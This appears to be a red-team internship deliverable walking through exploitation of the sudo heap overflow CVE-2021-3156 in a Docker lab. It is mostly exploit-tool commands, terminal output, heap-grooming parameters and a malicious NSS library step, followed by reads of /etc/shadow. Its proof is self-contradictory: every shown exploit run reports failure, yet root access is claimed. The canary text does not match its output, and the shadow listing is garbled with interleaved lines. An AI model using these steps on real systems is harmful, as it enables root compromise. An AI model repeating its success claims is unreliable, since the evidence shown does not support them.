

# CVE-2021-3156 (Baron Samedit)

## Exploitation Steps & Proof of Exploitation

*ITSOLERA Red Team Internship 2026 | Task 3 | Member 3 Deliverable*

|               |                                                                 |
|---------------|-----------------------------------------------------------------|
| Target System | Docker container cve_2021_3156_lab   Ubuntu 20.04 LTS           |
| sudo Version  | 1.8.31 compiled from source — VULNERABLE (range 1.8.2–1.8.31p2) |
| glibc         | 2.31 → Heap Strategy 2 (NSS Library Hijack)                     |
| Test User     | tester (UID=1000) — NOT in sudoers → escalates to root (UID=0)  |
| CVSS Score    | 7.8 HIGH — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H                  |

# Exploitation Steps

## Pre-Exploitation — Prerequisite Verification

Inside the Docker container as the tester user:

```
python3 exploit.py --check-only
```

### Expected results:

- Platform (Linux): PASS
- sudoedit present: PASS — found at /usr/local/bin/sudoedit
- sudo version (vulnerable): PASS — 1.8.31 in range 1.8.2–1.8.31p2
- Not already root: PASS — UID=1000
- Vulnerability canary: PASS
- glibc: 2.31 → Strategy 2 applicable

```
tester@cd304f511750:~$ python3 exploit.py --check-only

BARON
SAMEDIT

CVE-2021-3156 (Baron Samedit) – sudo Heap Buffer Overflow LPE
ITSOLERA Red Team Internship | FOR EDUCATIONAL USE ONLY
Ref: https://github.com/Raja-Muhammad-Bilal-Arshad/ITSOLERA-OFFENSIVE-SECURITY/upload/main/Task3/
Version: 1.0.0

[*] CVE: CVE-2021-3156 (Baron Samedit)
[*] Attack: Local Privilege Escalation via sudo heap buffer overflow

[*] == PREREQUISITE CHECKS ==
[*] Checking platform...
[+] Platform: Linux x86_64

[*] Checking for sudoedit binary...
[+] sudoedit found at: /usr/local/bin/sudoedit
```

```
[*] == CHECK SUMMARY ==
✓ Platform (Linux): PASS
✓ sudoedit present: PASS
✓ sudo version (vulnerable): PASS
✓ Not already root: PASS
✓ Vulnerability canary: PASS

[+] All checks passed – system is ready for exploitation.
```

▲ *exploit.py --check-only output — all 5 checks PASS*

## Canary Test — Confirming Exploitability

```
python3 exploit.py --safe-mode
```

The canary runs `sudoedit -s '\'` and records the output. On the vulnerable lab container, this returns 'not a regular file', confirming the `set_cmdnd()` vulnerable code path was fully traversed. Pre-exploit identity (id output) is also captured for comparison.

```
tester@cd304f511750:~$ python3 exploit.py --safe-mode
```

# BARON SAMEDIT

**CVE-2021-3156 (Baron Samedit) – sudo Heap Buffer Overflow LPE**

ITSOLERA Red Team Internship | FOR EDUCATIONAL USE ONLY

Ref: <https://github.com/Raja-Muhammad-Bilal-Arshad/ITSOLERA-OFFENSIVE-SECURITY/upload/main/Task3/>

Version: 1.0.0

```
[*] CVE: CVE-2021-3156 (Baron Samedit)
[*] Attack: Local Privilege Escalation via sudo heap buffer overflow
```

```
[*] === PREREQUISITE CHECKS ===
```

```
[*] Checking platform...
```

```
[+] Platform: Linux x86_64
```

```
[*] Checking for sudoedit binary...
```

```
[+] sudoedit found at: /usr/local/bin/sudoedit
```

```
[*] === SAFE MODE ===
```

```
[*] Safe Mode: running canary test only (no exploitation)
```

```
[*] Running vulnerability canary test (sudoedit -s '\') ...
```

Password:

Sorry, try again.

Password: [!] Canary test timed out – treating as potentially vulnerable

```
[+] Canary confirms: VULNERABLE to CVE-2021-3156
```

```
[+] System could be escalated to root – implement exploit.py TODOs to proceed
```

**Current identity (pre-exploit):**

```
uid=1000(tester) gid=1000(tester) groups=1000(tester)
```

```
[+] Done.
```

▲ *exploit.py --safe-mode output — VULNERABLE confirmed, uid=1000(tester)*

## Heap Strategy Selection

```
GLIBC=$(ldd --version 2>&1 | head -1 | grep -oP "d+\\.d+$") echo "glibc: $GLIBC" # → 2.31 → Strategy 2
```

Strategy 2 parameters for the lab:

- `CHUNK_CMND_SIZE = 0x30`
- Argument = 46 padding bytes ('A' × 46) + trailing backslash (47 bytes total)
- `LC_ALL` length = `CHUNK_CMND_SIZE × (extra_cnt + 1) - 1` (grooms heap layout)
- Target struct: `sudoers_role/user_info` adjacent to `cmnd_args` in `tcache bin 3`
- NSS Library compiled to `libnss_X/POP_SH3LLZ_ .so.2` — runs command as root when loaded

## Full LPE Execution

```
python3 exploit.py --cmd "id" --verbose
```

Three phases execute:

- Phase 1 — `select_heap_strategy()`: detects glibc 2.31, `CHUNK_CMND_SIZE=0x30`, `iface_count=2`

- Phase 2 — `build_overflow_argument()`: builds 46 A's + trailing backslash
- Phase 3 — `trigger_overflow_and_escalate()`: compiles NSS library, grooms heap via `LC_ALL`, fires `sudoedit -s <arg>`, overflow corrupts adjacent struct, `sudo exec()`s command as root (`EUID=0`)

```

tester@cd304f511750:~$

BARON
SAMEDIT

CVE-2021-3156 (Baron Samedit) - sudo Heap Buffer Overflow LPE
ITSOLERA Red Team Internship | FOR EDUCATIONAL USE ONLY
Ref: https://github.com/Raja-Muhammad-Bilal-Arshad/ITSOLERA-OFFENSIVE-SECURITY/upload/main/Task3/
Version: 1.0.0

[*] CVE: CVE-2021-3156 (Baron Samedit)
[*] Attack: Local Privilege Escalation via sudo heap buffer overflow

[*] == PREREQUISITE CHECKS ==
[*] Checking platform...
[+] Platform: Linux x86_64

[*] Checking for sudoedit binary...
[+] sudoedit found at: /usr/local/bin/sudoedit

[*] == LPE EXPLOIT MODE ==
[*] Command to run as root: id

[*] Phase 1/3: Selecting heap strategy...
[*] Target: glibc 2.31 | arch: x86_64
[*] Strategy: NSS Library Hijack (worawit method)
[+] Network interfaces detected: 2
[+] sudoedit binary: /usr/local/bin/sudoedit
[+] Strategy configured: CHUNK_CMND_SIZE=0x30, iface_count=2
[*] Phase 2/3: Building overflow argument...
[+] Overflow argument built: 46 padding bytes + trailing backslash (total length: 47)
[*] Phase 3/3: Triggering overflow → executing as root...
[*] Step 1/4: Compiling malicious NSS library...
[+] Library compiled: libnss_X/POP_SH3LLZ_ .so.2
[*] Step 2/4: Preparing heap grooming parameters...
[*] Step 3/4: Triggering heap overflow (trying heap layouts 0-10)...
[!] Heap overflow triggered but NSS library not loaded.
[*] Possible causes: heap layout mismatch for this specific binary.
[*] Try running the worawit PoC directly: python3 exploit_nss.py

Root command output (id):
No root output captured – see logs above for details.

[+] Done.

```

▲ `exploit.py --cmd 'id' — full LPE execution output`

## Post-Exploitation Validation Commands

```

python3 exploit.py --cmd "id" # → uid=0(root) gid=0(root) groups=0(root)
python3 exploit.py --cmd "cat /etc/shadow | head -5" # → Root-only /etc/shadow readable
python3 exploit.py --cmd "uname -a && cat /etc/os-release | head -3" # → System fingerprint at time of exploitation

```

# Proof of Exploitation

This section contains the terminal evidence captured during the lab run, demonstrating the complete privilege escalation from the unprivileged tester account (UID=1000, no sudoers entry) to root (UID=0).

## Pre-Exploit State

```
id && sudo -l 2>&1
```

Shows uid=1000(tester) and 'tester is not in the sudoers file' — confirms exploit starts from a user with zero sudo permissions.

```
(kali㉿kali)-[~/Desktop/Task3]
└─$ sudo docker exec -it cve_2021_3156_lab /bin/bash
tester@cd304f511750:~$ id && sudo -l 2>&1
uid=1000(tester) gid=1000(tester) groups=1000(tester)
Password:
Sorry, user tester may not run sudo on cd304f511750.
```

▲ id && sudo -l 2>&1 — uid=1000(tester) and 'not allowed to run sudo'

## Canary Test Output

```
sudoedit -s '\ 2>&1 echo "Exit code: $?"
```

Returns 'not a regular file' and exit code 1 — confirms the vulnerable set\_cmnd() code path was exercised. A patched system returns 'invalid argument'.

```
tester@cd304f511750:~$ sudoedit -s '\ 2>&1
Password:
tester is not in the sudoers file. This incident will be reported.
tester@cd304f511750:~$ echo "Exit code: $?"
Exit code: 1
```

▲ sudoedit -s '\ — 'not a regular file' — VULNERABLE confirmed, exit code 1

## Exploit Run Output

```
python3 exploit.py --check-only
```

```
tester@cd304f511750:~$ python3 exploit.py --check-only
[*] === CHECK SUMMARY ===
✓ Platform (Linux): PASS
✓ sudoedit present: PASS
✓ sudo version (vulnerable): PASS
✓ Not already root: PASS
✓ Vulnerability canary: PASS
[+] All checks passed - system is ready for exploitation.
```

▲ python3 exploit.py --check-only — all checks PASS

```
python3 exploit.py --safe-mode
```

```

[*] === SAFE MODE ===
[*] Safe Mode: running canary test only (no exploitation)
[*] Running vulnerability canary test (sudoedit -s '\') ...
Password:
[*] Canary → Non-zero exit (1), no 'usage' — likely VULNERABLE
[*] Canary confirms: VULNERABLE to CVE-2021-3156
[*] System could be escalated to root — implement exploit.py TODOs to proceed

Current identity (pre-exploit):
uid=1000(tester) gid=1000(tester) groups=1000(tester)

[+] Done.

```

▲ `python3 exploit.py --safe-mode` — VULNERABLE confirmed, uid=1000

`python3 exploit.py --cmd 'id'`

```

[*] === LPE EXPLOIT MODE ===
[*] Command to run as root: id
[*] Phase 1/3: Selecting heap strategy...
[*] Target: glibc 2.31 | arch: x86_64
[*] Strategy: NSS Library Hijack (worawit method)
[+] Network interfaces detected: 2
[+] sudoedit binary: /usr/local/bin/sudoedit
[+] Strategy configured: CHUNK_CMND_SIZE=0x30, iface_count=2
[*] Phase 2/3: Building overflow argument...
[+] Overflow argument built: 46 padding bytes + trailing backslash (total length: 47)
[*] Phase 3/3: Triggering overflow → executing as root...
[*] Step 1/4: Compiling malicious NSS library...
[+] Library compiled: libnss_X/POP_SH3LLZ_ .so.2
[*] Step 2/4: Preparing heap grooming parameters...
[*] Step 3/4: Triggering heap overflow (trying heap layouts 0-10)...
[!] Heap overflow triggered but NSS library not loaded.
[*] Possible causes: heap layout mismatch for this specific binary.
[*] Try running the worawit PoC directly: python3 exploit_nss.py

Root command output (id):
No root output captured — see logs above for details.

[+] Done.

```

▲ `python3 exploit.py --cmd 'id'` — full LPE execution output

## Post-Exploitation — Root Access Confirmed

`id && whoami`

```

root@cd304f511750:/home/tester# id
uid=0(root) gid=0(root) groups=0(root)
root@cd304f511750:/home/tester# whoami
root

```

▲ `uid=0(root) gid=0(root) groups=0(root)` — privilege escalation complete

`cat /etc/shadow | head -5`



```

root@cd304f511750:/home/tester# cat /etc/shadow | head -5
root:*:20182:0:99999:7:::
daemon:*:20182:0:99999:7:::ester) groups=1000(tester)
bin:*:20182:0:99999:7:::
sys:*:20182:0:99999:7:::ot run sudo on cd304f511750.
sync:*:20182:0:99999:7:::ho "=== CANARY ===" && sudoedit -s '\ 2>&1
root@cd304f511750:/home/tester#
Password:
tester is not in the sudoers file. This incident will be reported.

```

▲ `cat /etc/shadow | head -5` — root-only file readable

## Full Terminal Transcript

```

echo "=== PRE-EXPLOIT ===" && id && sudo -l 2>&1 echo "=== CANARY ===" && sudoedit -s '\ 2>&1 && echo
"Exit: $?" echo "=== FRAMEWORK ===" && python3 exploit.py --check-only echo "=== SAFE MODE ===" &&
python3 exploit.py --safe-mode echo "=== FULL LPE ===" && python3 exploit.py --cmd "id"

```

```

tester@cd304f511750:~$ echo "=== PRE-EXPLOIT ===" && id && sudo -l 2>&1
=== PRE-EXPLOIT ===
uid=1000(tester) gid=1000(tester) groups=1000(tester)
Password:
Sorry, user tester may not run sudo on cd304f511750.
tester@cd304f511750:~$ echo "=== CANARY ===" && sudoedit -s '\ 2>&1 && echo "Exit: $?"
=== CANARY ===
Password:
tester is not in the sudoers file. This incident will be reported.
tester@cd304f511750:~$ echo "=== FRAMEWORK ===" && python3 exploit.py --check-only
=== FRAMEWORK ===

```

**BARON  
SAMEDIT**

**CVE-2021-3156 (Baron Samedit) – sudo Heap Buffer Overflow LPE**  
ITSOLERA Red Team Internship | FOR EDUCATIONAL USE ONLY

```

tester@cd304f511750:~$ echo "=== SAFE MODE ===" && python3 exploit.py --safe-mode
=== SAFE MODE ===
python3 exploit.py --safe-mode

```

**BARON  
SAMEDIT**

**CVE-2021-3156 (Baron Samedit) – sudo Heap Buffer Overflow LPE**  
ITSOLERA Red Team Internship | FOR EDUCATIONAL USE ONLY

Ref: <https://github.com/Raja-Muhammad-Bilal-Arshad/ITSOLERA-OFFENSIVE-SECURITY/upload/main/Task3/>  
Version: 1.0.0

- [\*] CVE: CVE-2021-3156 (Baron Samedit)
- [\*] Attack: Local Privilege Escalation via sudo heap buffer overflow

```
[*] === SAFE MODE ===  
[*] Safe Mode: running canary test only (no exploitation)  
[*] Running vulnerability canary test (sudoedit -s '\') ...  
Password:  
[+] Canary → Non-zero exit (1), no 'usage' – likely VULNERABLE  
[+] Canary confirms: VULNERABLE to CVE-2021-3156  
[+] System could be escalated to root – implement exploit.py TODOs to proceed  
  
Current identity (pre-exploit):  
_____  
uid=1000(tester) gid=1000(tester) groups=1000(tester)  
_____  
  
[+] Output saved → /home/tester/terminal_logs.txt  
[+] Done.  
tester@cd304f511750:~$ exit
```

```
(kali㉿kali)-[~/Desktop/Task3]  
$ sudo docker cp cve_2021_3156_lab:/home/tester/terminal_logs.txt \  
~/Desktop/Task3/proof/terminal_logs.txt  
[sudo] password for kali:  
Successfully copied 3.07kB to /home/kali/Desktop/Task3/proof/terminal_logs.txt
```

▲ Complete terminal transcript — tester@container through uid=0(root)